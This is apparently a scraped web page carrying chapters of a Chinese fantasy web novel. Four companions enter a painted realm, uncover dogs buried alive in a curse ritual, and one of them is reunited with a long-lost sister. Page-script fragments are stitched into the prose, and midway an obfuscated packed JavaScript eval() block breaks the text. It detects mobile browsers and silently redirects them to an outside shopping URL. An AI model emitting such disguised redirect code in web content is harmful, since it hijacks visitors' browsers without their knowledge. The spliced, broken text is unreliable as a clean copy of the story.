$(''.inform'').remove(); $(''#content'').append('' 门槛。 九如不再犹豫。 他也要跟进去。 可烈风煌一把抓住了他的手臂,力道很大:“九如!你想清楚!画中仙不是闹着玩的!进去容易,出来难!” 九如看着她焦急的眼神,心里一暖,但脚下未停。他轻轻挣开烈风煌的手,语气平静:“不然呢?白砚已经进去了,难道我们就在外面等着?” “我们可以想别的办法!”烈风煌急道,“或者我进去,你留在外面——” “我是队长。”九如打断她,声音不大,却异常坚定,“该进去的人是我。” 他顿了顿,看着烈风煌眼中毫不掩饰的担忧,放缓了语气:“你可以留在这里等我们回来。若等不到……那你就回去吧。” 回去?回哪去? 烈风煌怔住了。她这一路跟着九如,从白骨岛到黑风谷,从牛煞村到张家村,早就没了“回去”的地方。修罗道已毁,族人散尽,天下之大,她还能回哪去? 而九如说完那句话,已经转身,大步走向那片花海。 芒种咬了咬嘴唇,看了烈风煌一眼,小声说了句“对不起”,然后小跑着跟上九如,拉住了他的衣角。 两人的身影先后没入涟漪之中。 像两颗石子投入深潭,只激起一圈微澜,便消失不见。 烈风煌站在外面,看着那片美得诡异的花海,看着九如和芒种消失的方向,又想起白砚刚才头也不回走进去的背影。 她咬住嘴唇,牙关紧得发酸。 “我还能回哪去……”她低声喃喃,声音里带着自己都没察觉的颤抖,“你个蠢货……怎么总在一个坑里摔跤……” 可骂归骂,她的脚步却不由自主地向前。 一步,两步。 走到涟漪边缘时,她停下来,最后看了一眼外面那个真实却残酷的世界——青石山光秃秃的石头,山脚下葱茏的林木,还有远处连绵的、不知道通往何方的群山。 然后,她深吸一口气,闭上眼睛,像条决绝的鱼,纵身一跃—— “哗。” 水声轻响。 身体穿过某种无形的屏障,像从干燥的陆地忽然坠入温暖的水中。但没有窒息感,只有一阵轻微的眩晕。 再睁眼时,她已经站在了花海里。 脚下是柔软湿润的泥土,鼻尖萦绕着浓郁的花香——那香气甜得发腻,混着青草和泥土的气息,让人有些头晕目眩。抬眼望去,漫山遍野的红花在风中摇曳,像一片燃烧的海洋。远处溪水潺潺,锦鲤跃出水面,鳞片在阳光下闪闪光。 而九如、芒种、白砚,就站在她前方几步远的地方。 他们……真的进来了。 烈风煌环顾四周,心中那股不安越来越强烈。 太美了。 美得不真实。 美得……让人心里发毛。 九如也在观察四周。他弯腰,摘下一朵红花,放在掌心仔细看。花瓣肥厚,纹理清晰,触感真实。他凑近闻了闻,香气浓郁,带着某种说不清道不明的、类似麝香的甜腻。 是真的花。 可越真实,越诡异。 “白砚,”九如看向白砚,“你怎么知道这里是画中仙?又怎么知道无名火山在里面?” 白砚正看着远处山巅——那里云雾缭绕,隐约能看见一座黑色山峰的轮廓,山顶有淡淡的烟柱升起,像在燃烧。 “地图上标注的。”他简短回答,显然不愿多说,“无名火山就在那座黑山后面。穿过这片花海,再翻过黑山,就到了。” 他说得轻描淡写,仿佛只是去隔壁串个门。 可九如看着那片花海,看着远处那座冒着烟的黑山,心中警铃大作。 画中仙,无名火山,守渊者的葬身之地…… 这一切,未免太巧合了。 他握紧了腰间的承影剑。 剑身微微发热,剑灵的感应比在外面清晰了许多——不是兴奋,而是一种警惕的、近乎不安的颤动。 就像在说:这里很危险。 “走吧。”九如最终道,“天黑前,尽量穿过花海。” 四人沿着花丛中的小径前行。路很窄,只容一人通过,两旁红花高及腰际,花瓣拂过衣摆,留下淡淡的红色印记,像血。 芒种紧紧跟在九如身后,小手始终抓着他的衣角。她不时回头看,眼神里满是紧张——进来的那个“入口”,已经看不见了。身后只有无尽的花海,和来时一样,望不到尽头。 “九如哥哥……”她小声问,“我们……还能出去吗?” 九如没有回答。 因为他也不知道。 他只是握紧了剑,继续往前走。 花海深处,有歌声隐隐传来。 是个女子的声音,清越婉转,唱着不知名的歌谣: “红花开,红花开,年年岁岁等人来……” “等人来,摘花戴,戴了红花莫离开……” 歌声飘忽,时近时远,像在耳边,又像在天边。 白砚脚步顿了一下,但很快恢复正常。 烈风煌握紧了刀柄,眼神锐利如鹰,扫视着歌声传来的方向。 九如则抬起头,望向歌声来处—— 花海尽头,隐约能看见一座小小的、竹木搭建的亭子。 亭子里,似乎坐着个人。 一袭红衣,长发如瀑,背对着他们,正低头抚琴。 琴声淙淙,混着歌声,在花海中悠悠回荡。 而更远处,那座冒着烟的黑山,在暮色中沉默矗立。 像一只蹲伏的巨兽,静静等待着猎物自投罗网。 24. 画中仙非画中人(二) 那女子坐在亭中,背对着众人,一袭红衣在满山红花的映衬下,本该是浓烈夺目的。可走近了看,却透着说不出的诡异。 她的坐姿很怪。不是端坐,也不是随意倚靠,而是一种近乎蜷缩的姿态,肩膀微微耸起,后背的衣服在腰臀处高高隆起一块,像藏了个包袱,又像是……骨骼畸形。红衣是粗布料子,洗得发白,袖口和下摆都磨出了毛边,却浆洗得干干净净,在暮色里泛着柔和的、旧年岁般的光泽。 琴声已经停了。 但余韵还在花海里飘荡,混着未散的歌声,像一缕抓不住的烟。 九如走到亭前,拱手行礼——动作标准,姿态恭敬,是行走江湖面对未知存在时最稳妥的礼节。他声音平和,不带半分倨傲:“请问,这里是哪里?” 女子没有回头。 她只是动了动鼻子——很细微的动作,但九如看得清楚,那鼻翼轻轻翕动了两下,像是在嗅闻什么。然后,她抬起一只手,指向亭子正对面的方向。 那只手很瘦,手指细长,皮肤是常年不见阳光的苍白。指甲修剪得很整齐,但指尖泛着淡淡的青紫色,像冻伤留下的痕迹。 “就是你看见的。”她开口,声音与刚才唱歌时截然不同——唱歌时清越婉转,此刻却沙哑低沉,带着某种粗粝的质感,像砂纸磨过石板。 九如顺着她手指的方向望去。 亭子对面,是一片更密集的花海。红花层层叠叠,在暮色中颜色渐深,像泼洒开的浓墨。花海尽头,隐约能看见山峦的轮廓,但被薄雾笼罩,看不真切。 “我们只看见了亭子啊?”芒种从九如身后探出脑袋,小声嘀咕。她胆子小,却压不住好奇,说完又赶紧缩回去,只露出一双圆溜溜的眼睛。 这话一出,女子的肩膀忽然僵了一下。 然后,她缓缓转过头来。 那一瞬间,所有人都屏住了呼吸。 那是一张……难以形容的脸。 左半边脸是正常的,甚至称得上秀美。皮肤白皙,眉眼清秀,鼻梁挺直,嘴唇是淡淡的粉色。可右半边脸,从额头到下巴,覆盖着一层厚厚的、凹凸不平的黑色硬痂。那硬痂不像胎记,更像某种烧伤或溃烂后留下的疤痕,表面泛着蜡质的光泽,边缘与正常皮肤的界限清晰得像用刀划开。 最诡异的是她的眼睛。 左眼是浅褐色的,瞳孔清澈,此刻正带着几分好奇打量着众人。而右眼——在黑色硬痂覆盖下的那只眼睛——眼白部分布满细密的血丝,瞳孔是浑浊的灰白色,像蒙了一层翳,看人时目光涣散,仿佛聚焦在很遥远的地方。 一半天使,一半恶鬼。 芒种吓得“啊”了一声,下意识抓紧了九如的衣角。 白砚的手已经按在了腰间宝石腰带上,指尖触到其中一颗冰蓝色的宝石,眼神警惕如临大敌。唯有烈风煌,依旧抱着胳膊靠在亭柱上,神色淡然,甚至带着几分……玩味? 女子似乎对芒种的反应习以为常。她扯了扯嘴角——这个动作让右脸的黑色硬痂微微皱起,像干裂的土地:“吓到小妹妹了?” 声音还是沙哑的,但语气里多了点自嘲。 芒种脸一红,连忙摇头:“没、没有……我就是……” “就是没想到?”女子替她说完,笑了笑。笑容让那张诡异的脸上多了几分生动,却也显得更加怪异。她站起身——动作有些僵硬,后背那处隆起随着她的动作晃了晃,确实像藏了什么东西。 她转向九如,又问了一遍:“你们身上有吃的吗?” 这次问得更直接,眼神也直勾勾盯着芒种腰间的布包——那里鼓鼓囊囊的,是早上出发前九如塞给她的两块烧饼,用油纸包着,还温热。 芒种愣了愣,下意识摸了摸布包。她看看九如,见九如微微点头,才小心翼翼掏出油纸包,打开,露出里面金黄酥脆的烧饼。饼面撒着芝麻,烤得恰到好处,香气在亭子里弥漫开来。 女子眼睛一亮——是真的亮了。那双诡异的眼睛同时迸发出渴望的光,左眼清澈,右眼浑浊,却都直勾勾盯着烧饼。 也不见她怎么动作,只是袖子一拂—— 烧饼从芒种手中飞起,划过一道弧线,稳稳落在女子掌心。然后,她袖子再一甩,烧饼已经不见了踪影。整个过程快如电光火石,连烈风煌都没看清她是怎么收起来的。 芒种张了张嘴,好半天才憋出一句:“吃、吃这么快……” 女子没接话。她轻轻咳嗽了一声,那咳嗽声很闷,像从胸腔深处压出来的。然后她理了理衣袖,重新坐回琴凳上,姿态恢复了初见时的从容——如果忽略那张诡异的脸和背后的隆起的话。 “好了。”她开口,声音恢复了之前的沙哑低沉,“你们想要什么?” 她问得直接,眼神在四人脸上扫过,最后落在九如身上。那目光很专注,像在评估什么。 九如也不绕弯子:“无名火山在哪?” 这四个字一出口,女子的脸色瞬间变了。 不是惊恐,不是愤怒,而是一种……极其复杂的、混杂着震惊、畏惧、还有一丝难以言喻的哀伤的表情。她左眼的瞳孔骤然收缩,右眼那层浑浊的翳似乎也颤了颤。 然后,毫无征兆地—— “嗷呜——!” 一声短促的、不似人声的低嚎从她喉咙里挤出。声音不大,却带着某种原始的、兽性的力量,震得亭子里的空气都颤了颤。 紧接着,一团青烟“噗”地在她周身爆开! 烟雾浓稠,带着刺鼻的硫磺味,瞬间吞没了她的身影。等烟雾散尽时,琴凳上空空如也,只剩几缕青烟袅袅飘散,和空气中残留的、淡淡的烧饼香气。 女子……不见了。 原地消失。 芒种呆呆地看着空荡荡的琴凳,半晌,才喃喃道:“她……她到底来干嘛的?” 九如也沉默了。他盯着女子消失的地方,眉头紧锁,似乎在回忆刚才每一个细节。 白砚缓缓松开按在腰带上的手,眼神里闪过一丝疑惑:“……她到底来干嘛的?”他重复了芒种的话,但语气完全不同——不是困惑,而是某种更深层次的、近乎警惕的思索。 唯有烈风煌,嗤笑一声,从亭柱上直起身。 “小小狗妖,混口吃的罢了。”她声音里带着几分不屑,但眼神却锐利地扫过四周,“不过她已经指了方向——就是那座山。” 她说着,抬手指向亭子对面,那片被薄雾笼罩的花海尽头。 九如顺着她手指的方向望去,眉头皱得更紧:“那里有山?” 他确实看见了山峦的轮廓,但在画中仙这个诡异的空间里,眼见未必为实。更何况,刚才那女子说“就是你看见的”,这话本身就模棱两可。 烈风煌挑了挑眉:“你们看不到?” 九如、白砚、芒种三人齐齐摇头。 芒种小声道:“我只看见花……很多很多花……” 白砚则补充:“还有雾。雾后面,似乎有东西,但看不清。” 烈风煌盯着他们看了几秒,忽然笑了。笑容有点无奈,又带着点“果然如此”的了然。她吹了吹额前垂落的碎发——这个动作让她看起来难得地显出几分少年气,虽然她语气依旧老气横秋。 “行吧。”她说,“那这次,只能靠我了。” 话音未落,她已经拔出了腰间的修罗刀。 刀身暗红,在暮色中泛着幽冷的光。烈风煌握刀在手,整个人气势陡然一变——不再是那个抱着胳膊冷眼旁观的旁观者,而是修罗道的传人,那个曾一剑斩杀白骨岛数十疯民的煞星。 她走到亭子边缘,面向那片花海。花海之下,其实有一条溪流——刚才众人走近时就听见了水声,只是被红花遮掩,看不真切。此刻站在亭边,能看见清澈的溪水在花丛间蜿蜒流淌,水面倒映着天光云影,也倒映着烈风煌持刀的身影。 她举刀,没有蓄势,没有呼喝,只是简简单单地,朝水面一劈。 刀锋划过空气,带起尖锐的破风声。但刀身并未触及水面——在距离水面还有三尺时,刀锋上忽然迸发出一道暗红色的煞气,如匹练般斩入水中! “轰——!” 水面炸开! 不是被劈开,而是像被一只无形的大手从中间撕开,水浪向两侧翻卷,露出底下湿滑的卵石河床。而在分开的水面中央,一道由水凝成的、晶莹剔透的“桥”,正缓缓升起。 那桥很窄,仅容一人通过。桥面由流动的水构成,水波在桥面上荡漾,却没有一滴水溅落。桥身泛着淡蓝色的微光,在暮色中如梦似幻。 烈风煌收刀归鞘,动作流畅得像演练过千百遍。她抬脚踏上水桥——脚落在水面上时,桥面荡开一圈涟漪,却稳稳托住了她。 她回头,朝还在亭中的三人一挥手:“过来吧。” 语气随意,像在招呼邻居串门。 芒种看着那座水桥,眼睛都直了。她虽然跟着九如见过不少法术,但这样凭空凝水成桥的手段,还是第一次见。小姑娘好奇心压过了恐惧,下意识就迈开步子要跟过去—— “等等!”九如一把拉住她。 芒种愣住,回头看他:“九如哥哥?” 九如脸色凝重,盯着那座水桥,又看看烈风煌:“那里没有路。” “啊?”芒种眨眨眼,“明明有座桥啊……” 她说着,又看向水桥。在她眼中,那座晶莹剔透的水桥真实无比,桥面水波荡漾,桥身泛着微光,烈风煌就站在桥中央,回头看着他们。 可九如眼中,只有分开的溪水和空荡荡的河床。 白砚眼中,也只有翻卷的水浪和湿滑的卵石。 三人眼中,竟是三种不同的景象! 九如呆住了。他忽然想起在进入画中仙之前,白砚说过的话:“画中仙内,只有非人才能游走自由。” 非人…… 烈风煌是修罗道传人,虽是人类之身,但修炼的是煞气,血脉中早已沾染了非人的特质。芒种……芒种只是个普通少女,为什么也能看见? 难道…… 他不敢深想。 就在这时,一只苍白的手伸到他面前。 是白砚。他掌心里托着一条白色丝带——质地柔软,像是上好的绸缎,在暮色中泛着珍珠般的光泽。 “用这个蒙着眼。”白砚声音平静,“跟着她走就行。” 九如接过丝带,触手冰凉丝滑。他看了看白砚,又看了看桥上的烈风煌和一脸茫然的芒种,最终点点头,将丝带蒙在眼上。 视线被遮蔽的瞬间,世界并没有陷入黑暗。 相反,他“看见”了。 不是用眼睛,而是某种更深层的、近乎直觉的感知。他“看见”了那座水桥——不再是芒种眼中晶莹剔透的样子,也不再是自己眼中空无一物的河床,而是一条由无数细密符文构成的、淡蓝色的光带。光带悬浮在水面上,符文流转,散发着稳定而强大的灵力波动。 他也“看见”了烈风煌——她站在光带中央,周身缠绕着暗红色的煞气,那些煞气与光带的灵力相互排斥,却又诡异地达成某种平衡,让她能稳稳站在上面。 还有芒种……在那种感知中,芒种的身影有些模糊,像隔着一层毛玻璃。但她身上,隐约透出一丝极淡的、金色的光——很微弱,却异常纯净,像晨曦初露时第一缕阳光。 “这样做能行吗?”九如开口,声音有些发闷——丝带遮住了口鼻,说话不太方便。 白砚已经自己蒙好了丝带,声音透过布料传来,显得有些遥远:“画中仙内,规则与外界不同。有些路,只有特定的人能看见、能走。烈风煌能凝水成桥,是因为她的煞气与画中仙的灵力产生了共鸣。芒种能看见,是因为她心思纯净,未被幻象蒙蔽。而我们……” 他顿了顿:“我们心思太重,眼中有太多‘应该’和‘不该’,所以看不见真实的路。蒙上眼,隔绝视觉的干扰,反而能凭借本能和灵力感应找到正确的方向。” 九如沉默片刻,点了点头。 他伸出手,摸索着抓住了芒种的小手——触感温暖而真实。芒种反握住他的手,握得很紧,像抓住了救命稻草。 “走吧。”九如说。 三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109789|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——九如牵着芒种,白砚跟在最后——缓缓踏上水桥。 脚落在光带上的瞬间,九如感觉到一阵轻微的眩晕。不是坠落感,而像是穿过了一层无形的薄膜,从干燥的陆地忽然进入了湿润的水汽中。脚下传来坚实而微凉的触感,像踩在打磨光滑的石板上。 他深吸一口气,强迫自己信任这种感知,跟着前方烈风煌的脚步声,一步步向前。 水桥不长,约莫十几丈。 但每一步都走得小心翼翼。耳边是潺潺水声,鼻尖萦绕着水汽的湿润和花香的甜腻,还有丝带布料淡淡的、类似檀香的味道。视线被遮蔽后,其他感官变得异常敏锐——九如能听见芒种紧张的呼吸声,能感觉到她手心渗出的细汗,能闻到白砚身上那股混合着药草和血腥气的独特味道。 还有前方,烈风煌身上传来的、那种属于修罗道的、凛冽而暴戾的煞气。 终于,脚下一实。 踏上了对岸的土地。 九如扯下蒙眼的丝带。 眼前景象让他微微一怔。 不是花海了。 是一片荒芜的山脚。 泥土是暗红色的,像被血浸透过,干涸后结成硬块。地面寸草不生,只有嶙峋的怪石和裸露的树根。空气中弥漫着一股淡淡的、类似铁锈的腥味,混着泥土的土腥气,让人胸口发闷。 而最触目惊心的,是散落在地上的那些—— 白骨。 不是完整的人体骨架,而是一截截、一块块,散乱地扔在泥土里、石缝间。有的已经风化发黄,表面布满裂纹;有的还算新鲜,骨头上还粘着暗红色的碎肉和皮毛。 从形状看,不是人骨。 是……狗的骨头。 颅骨、脊椎、肋骨、四肢……零零散散,至少有七八具犬类的骸骨,就这样曝尸荒野,在暮色中泛着惨白的光。 芒种也扯下了丝带。她第一眼就看见了那些骨头,吓得尖叫一声,整个人缩到九如身后:“死、死人!” 声音都在发抖。 九如按住她的肩膀,温声道:“别怕,仔细看,不像是人骨头。” 芒种这才敢探头,哆哆嗦嗦地看了几眼,然后小声说:“是……是狗狗的……” 话音未落,一旁的烈风煌忽然咬牙切齿地低吼:“他妈的……谁干的!” 她声音里压着滔天的怒火,那双深褐色的眼睛此刻赤红如血,死死盯着那些散落的骸骨。握刀的手背上青筋暴起,指节捏得咯咯作响。 下一秒,她提刀就要往山上冲! “先别冲动!!”九如眼疾手快,一把拽住她的胳膊。 烈风煌回头瞪他,眼神凶狠得像要吃人:“放手!” “搞清楚状况再行动!”九如声音也提高了,“这里是画中仙,不是外面!乱冲乱撞,你怎么死的都不知道!” 烈风煌胸膛剧烈起伏,但终究没挣开。她死死盯着那些狗骨,从牙缝里挤出字来:“那是……那是被活埋的……” 活埋? 九如心头一凛。他蹲下身,仔细检查离得最近的一具骸骨。颅骨完整,但额骨正中有一个圆形的、拇指大小的孔洞,边缘光滑,像是被什么尖锐的东西贯穿。脊椎骨有明显的扭曲变形,四肢骨骼的关节处也有不自然的磨损和裂痕——那是挣扎时留下的痕迹。 而最诡异的是,骸骨周围的地面上,散落着几枚已经锈蚀的铜钉。不是铁钉,是铜的,钉身细长,钉帽上刻着模糊的符文,在暮色中泛着幽绿的光。 “犬厌桩……”白砚的声音忽然响起。 他不知何时也蹲了下来,捡起一枚铜钉,凑到眼前仔细看。他的脸色比刚才更苍白了,眼神里有一种冰冷的、近乎厌恶的情绪。 芒种听到这三个字,小脸瞬间变了颜色。 她嘴唇哆嗦着,喃喃道:“犬煞镇灾……这里……这里有个村子……” “什么意思?”九如看向她。 芒种咬了咬嘴唇,声音很轻,却字字清晰:“这是……我娘以前讲过的。是祖宗传下来的……邪术。要找一条黑母犬,不能有一根杂毛,然后……然后用朱砂在它额头画引煞符,在月圆之夜,活埋在村口的槐树下。这样,就能把村子里的灾祸、晦气,都引到狗身上,镇在树下……” 她说着,眼圈红了:“可是……这法子太损阴德。狗通人性,被活埋时怨气冲天,那股怨煞不但镇不住灾,反而会反噬村子……所以施术的人,还会在埋狗的地方,打下七枚桃木钉,钉身上刻着施术者的名字和生辰,把狗的魂魄也钉死在那里,永世不得超生……” 她指着地上那些散落的铜钉:“那些……应该就是桃木钉外面的铜套。桃木钉本身……应该还在土里。” 九如听得背脊发凉。 活埋黑犬,引煞镇灾,还要钉死魂魄…… 这是何等恶毒的手段。 他立刻起身,在周围仔细搜寻。泥土很硬,他折了根树枝当工具,在骸骨周围的土地里翻找。很快,就在一具骸骨的脊椎下方,挖出了一枚—— 不是完整的桃木钉。 只有半截。 钉身是深褐色的桃木,已经腐朽了大半,表面布满虫蛀的小孔。钉帽部分完全烂掉了,只剩半截钉身,上面刻着的字迹也模糊不清。但依稀能辨认出,是三个字: 李富贵。 一个最寻常不过的名字。 刻在这枚用于邪术的桃木钉上,却透着说不出的诡异和森寒。 九如捏着那半截桃木钉,指尖传来木头腐朽后特有的、松软而潮湿的触感。他抬起头,望向荒芜的山坡。 暮色更深了。 远处的黑山在渐暗的天光中沉默矗立,山顶的烟柱变成了暗红色,像凝固的血。 而这座山的山脚,埋着至少七八条被活埋钉魂的黑犬。 还有一个叫“李富贵”的人,曾在这里,犯下了这样的罪孽。 九如握紧了桃木钉。 木头碎屑从指缝间簌簌落下。 “找。”他开口,声音冷得像冰,“找到剩下的桃木钉。找到……那个李富贵。” 25. 画中仙非画中人(三) 那半截桃木钉在九如掌心微微发烫。 不是真实的温度,而是一种阴冷的、仿佛有无数细小虫蚁在木纹里爬行的诡异触感。刻着“李富贵”三个字的凹陷处,隐约渗出暗红色的污渍,像干涸的血,又像是某种更污秽的东西。 九如盯着那名字看了很久,脑海中却不由自主地浮现出刚才亭中那个红衣女子的脸——一半秀美,一半狰狞,背后隆起诡异的肿块,闻到烧饼香气时眼中迸发的、近乎卑微的渴望。 还有她消失前那声短促的“嗷呜”。 狗妖。 烈风煌是这么说的。 而此刻,散落在荒芜山脚的这些狗骨,这些被活埋钉魂的、曾经通人性的黑犬骸骨…… “李富贵……”九如喃喃念出这个名字,声音在寂静的山脚显得格外清晰,“是施术者,还是……” “是这村子的村长。” 一个沙哑的声音忽然从身后响起。 众人猛地回头。 红衣女子不知何时又出现了。 她就站在他们身后三丈外的一棵枯树下——那树早就死了,树干焦黑扭曲,枝桠光秃秃地刺向天空,像一具伸向苍穹求救的骷髅。而她一身红衣站在树下,在暮色中红得刺眼,也红得凄凉。 她没有看那些狗骨,没有看九如手中的桃木钉,只是仰头望着枯树的顶端,眼神空洞,像在看很远很远的地方。 “风息圆……”她轻声说,声音比在亭中时更沙哑了,像砂纸磨过生锈的铁板,“这里……曾经叫风息圆。” 风息圆。 这个名字让九如心头猛地一跳。 某种模糊的、仿佛来自记忆最深处的熟悉感,像水底的泡泡,咕嘟咕嘟往上冒。他好像在哪儿听过……不,不是在哪儿听过,是更直接的、仿佛亲身经历过的熟悉。 红衣女子缓缓转过头,目光落在烈风煌身上。 那一瞬间,九如清楚地看见,烈风煌的身体僵住了。 她握着刀的手在微微颤抖,深褐色的眼睛死死盯着红衣女子,瞳孔深处有什么东西在剧烈翻涌——震惊?不敢置信?还是某种更深沉的、连她自己都未必明白的情绪? “你……”烈风煌开口,声音干涩得厉害,“你到底是谁?” 红衣女子没有回答。 她只是抬起右手——那只苍白瘦削的手,慢慢伸向左脸的黑色硬痂。指尖触到硬痂边缘时,她顿了顿,然后缓缓地、近乎残忍地,用力一撕! “嗤啦——” 像撕开一块粘在皮肤上的膏药。 黑色硬痂被整片撕下,露出下面真正的皮肤。 不是烧伤,不是溃烂。 是一道道纵横交错的、深深的疤痕。 那些疤痕很旧了,边缘已经平滑,颜色比周围皮肤略浅,呈淡粉色。但从疤痕的走向和深度能看出,当初受伤时有多惨烈——有刀砍的,有利器划的,甚至有……牙齿撕咬的痕迹。 最触目惊心的,是从右眼眼角一直延伸到下颌的一道长疤,像一条狰狞的蜈蚣,趴在她半边脸上。疤痕经过的地方,皮肤微微凹陷,肌肉走向也变得不自然,让她的右眼始终保持着一种微微斜视的、诡异的角度。 但这不是重点。 重点是,在那些疤痕之下,这张脸的轮廓…… 九如呼吸一滞。 他看看红衣女子,又看看烈风煌。 虽然疤痕狰狞,虽然右眼斜视,虽然气质天差地别——一个凄艳诡异,一个冷硬锋利。但若仔细看,就能发现,她们的五官轮廓,至少有六七分相似。 尤其是那双眼睛的形状,和紧抿时嘴角向下的弧度。 简直……像一个模子刻出来的。 烈风煌也看见了。 她踉跄后退一步,刀尖抵在地上,支撑着发软的身体。嘴唇哆嗦着,想说什么,却发不出声音。只有那双总是冷冽的眼睛,此刻瞪得极大,里面翻涌的情绪复杂得难以形容——震惊,怀疑,恐惧,还有一丝……不敢触碰的希冀? 红衣女子看着她,扯了扯嘴角——这个动作让右脸的疤痕扭曲,显得更加狰狞,却也透出一种苍凉的温柔。 “小煌,”她开口,声音很轻,像怕惊碎什么,“你长这么大了。” 小煌。 这个称呼像一把钥匙,打开了某个尘封已久的匣子。 烈风煌浑身剧烈颤抖起来。她盯着红衣女子,盯着那张布满疤痕却依旧能看出与自己相似轮廓的脸,盯着那双一半清澈一半浑浊的眼睛。 然后,她忽然笑了。 笑声很低,很哑,带着一种近乎崩溃的疯癫。 “姐姐……”她喃喃,眼泪毫无征兆地滚下来,“烈风荧……你……你还活着……” 姐姐。 烈风荧。 九如和白砚同时怔住。 芒种更是捂住了嘴,眼睛瞪得圆圆的,看看烈风煌,又看看红衣女子,小脸上写满了难以置信。 红衣女子——烈风荧——缓缓点头。她朝烈风煌伸出手,那只苍白的手在暮色中微微颤抖:“我还活着……虽然,活得不太像个人了。” 烈风煌却没有去握那只手。 她只是死死盯着烈风荧,声音从牙缝里挤出来:“当年……到底发生了什么?爹娘呢?我们的家呢?你为什么……会变成这样?!” 一连串的问题,像砸出的石头,字字沉重。 烈风荧的手僵在半空。良久,她缓缓收回手,转过身,背对着众人。红衣的背影在暮色中单薄得像片随时会碎掉的叶子。 “当年……”她开口,声音飘忽,像从很远的过去传来,“修罗刀,传男不传女。” 记忆的画卷,在荒芜的山脚缓缓铺开。 不是通过幻术,不是通过咒法,而是烈风荧身上那股浓郁的、混杂着妖气与悲伤的气息,自然而然地将众人拉入了她的回忆。 那是一座建在山巅的恢弘山庄。建筑风格粗犷冷硬,黑石砌成的墙,铁木打造的梁,屋檐下悬挂着无数柄形制各异的刀——不是装饰,是真正的、饮过血的凶器。山风凛冽,吹过时万刀齐鸣,声音凄厉如鬼哭。 这里是修罗道的传承之地:烈风山庄。 庄主烈风啸,当代修罗刀主,膝下有一子一女。长子烈风炽,天赋卓绝,八岁便能挥动祖传的修罗刀,十三岁刀法大成,是山庄上下公认的继承人。次女烈风荧,比兄长小三岁,生得秀美灵动,却因“修罗刀传男不传女”的祖训,从未被允许触碰那柄象征权力与力量的刀。 但她想学。 偷偷地学。 每天清晨,兄长在演武场练刀时,她就躲在远处的假山后,眼睛一眨不眨地看着。看他如何握刀,如何踏步,如何挥斩。晚上,等所有人都睡了,她就溜进后山的竹林,折一根竹枝当刀,一遍遍模仿白天的动作。 她学得很快。快得惊人。 十岁那年,她偷偷用竹枝使出了修罗刀法的第三式“破军斩”,一刀削断了碗口粗的竹子。恰好被路过的父亲看见。 烈风啸没有夸她。 他只是冷冷地看着她,看了很久,然后说:“女子之身,戾气太重,终非福分。从今日起,不许再碰刀。” 语气不容置疑。 烈风荧哭了。她跪下来求父亲,说自己真的喜欢刀,说她想和哥哥一样保护山庄,保护家人。 烈风啸转身离去,只留下一句话:“修罗刀,只传男子。这是祖训,也是天命。” 天命。 两个字,像两座山,压在一个十岁少女的心上。 烈风荧十二岁那年,天灾来了。 不是寻常的地震洪水,而是更诡异、更恐怖的东西——从地底涌出的、黑色的、黏稠如石油的“煞气之潮”。那东西所过之处,草木枯萎,牲畜暴毙,连石头都会被腐蚀出蜂窝状的孔洞。 烈风山庄首当其冲。 黑色的潮水从山脚蔓延上来,吞噬了山下的村落,吞噬了农田,吞噬了所有活物。山庄开启了祖传的防护大阵,但那阵法在煞气之潮面前,脆弱得像纸糊的。 三天三夜。 山庄里的食物吃完了,水也快喝光了。防护阵的光芒越来越弱,黑色的潮水已经漫到了山庄大门外,滋滋地腐蚀着黑石砌成的墙。 烈风啸做出了决定:弃庄,突围。 他让夫人带着一双儿女从后山密道先走,自己率山庄精锐断后。那是烈风荧最后一次看见父亲——他手持修罗刀,站在山庄最高处的望楼上,背对着滔天的黑潮,身影挺拔如松,像一尊永远不会倒下的神祇。 “走!”母亲拉着她和哥哥,冲进密道。 密道很长,很黑。身后传来山庄崩塌的巨响,和族人临死前的惨叫。烈风荧想回头,被母亲死死拽住:“别回头!往前走!” 他们逃出来了。 从密道的另一头钻出时,外面是陌生的山林。母亲清点人数:除了他们母子三人,只逃出来七个护卫,还个个带伤。 而身后,曾经恢弘的烈风山庄,已经彻底被黑色的潮水吞没,连一片瓦都没剩下。 父亲……也没有出来。 母亲跪在地上,对着山庄的方向磕了三个头,然后擦干眼泪,站起来,对幸存的人说:“从今天起,我们就是流亡者了。烈风一脉,不能断。” 她看向儿子烈风炽:“炽儿,你是下一任修罗刀主。刀在人在,刀亡人亡。” 又看向女儿烈风荧:“荧儿,你是女子,修罗刀法不可再学。从今往后,你要学会隐藏自己,学会……像普通人一样活下去。” 烈风荧咬着嘴唇,点了点头。 心里却在滴血。 流亡的日子很难。 七个人的队伍,要躲避煞气之潮的蔓延,要寻找食物和水,要防备山林里的野兽和更可怕的——其他逃难者中的恶徒。 三个月后,他们在一处山谷暂时落脚。母亲决定派两个人出去打探消息,看看有没有安全的地方可以定居。 烈风荧主动请缨。 母亲犹豫了很久,最终还是答应了。临行前,她将一枚小小的、刻着烈风家徽的玉佩塞进女儿手里:“荧儿,保护好自己。如果……如果走散了,这玉佩,就是相认的信物。” 烈风荧珍重地收好玉佩,跟着两个护卫出发了。 他们翻山越岭,走了七天七夜。第八天傍晚,在一处密林里,他们遇到了袭击。 不是野兽,是人。 是一群同样在逃难、却已经失去人性的暴徒。他们饿疯了,看见烈风荧三人,眼睛里冒出绿光——不是对财物的贪婪,是对“食物”的渴望。 两个护卫拼死抵抗,让烈风荧先跑。 烈风荧拼命跑,跑得肺都要炸了。身后传来护卫的惨叫,和暴徒们兴奋的嘶吼。她不敢回头,只能往前,往前,直到一脚踩空,从陡坡上滚下去。 醒来时,天已经黑了。 她躺在一条山沟里,浑身是伤,右腿骨折了,疼得钻心。更糟糕的是,玉佩不见了——不知道是在逃跑时掉了,还是滚下山坡时丢了。 她咬着牙,拖着断腿,一点一点往外爬。 爬了整整一夜。 天亮时,她终于爬出了山沟,却看见了一幕让她彻底崩溃的场景—— 山沟外的空地上,横七竖八躺着十几具尸体。有那两个护卫的,也有那群暴徒的。而在尸体中间,站着三个人。 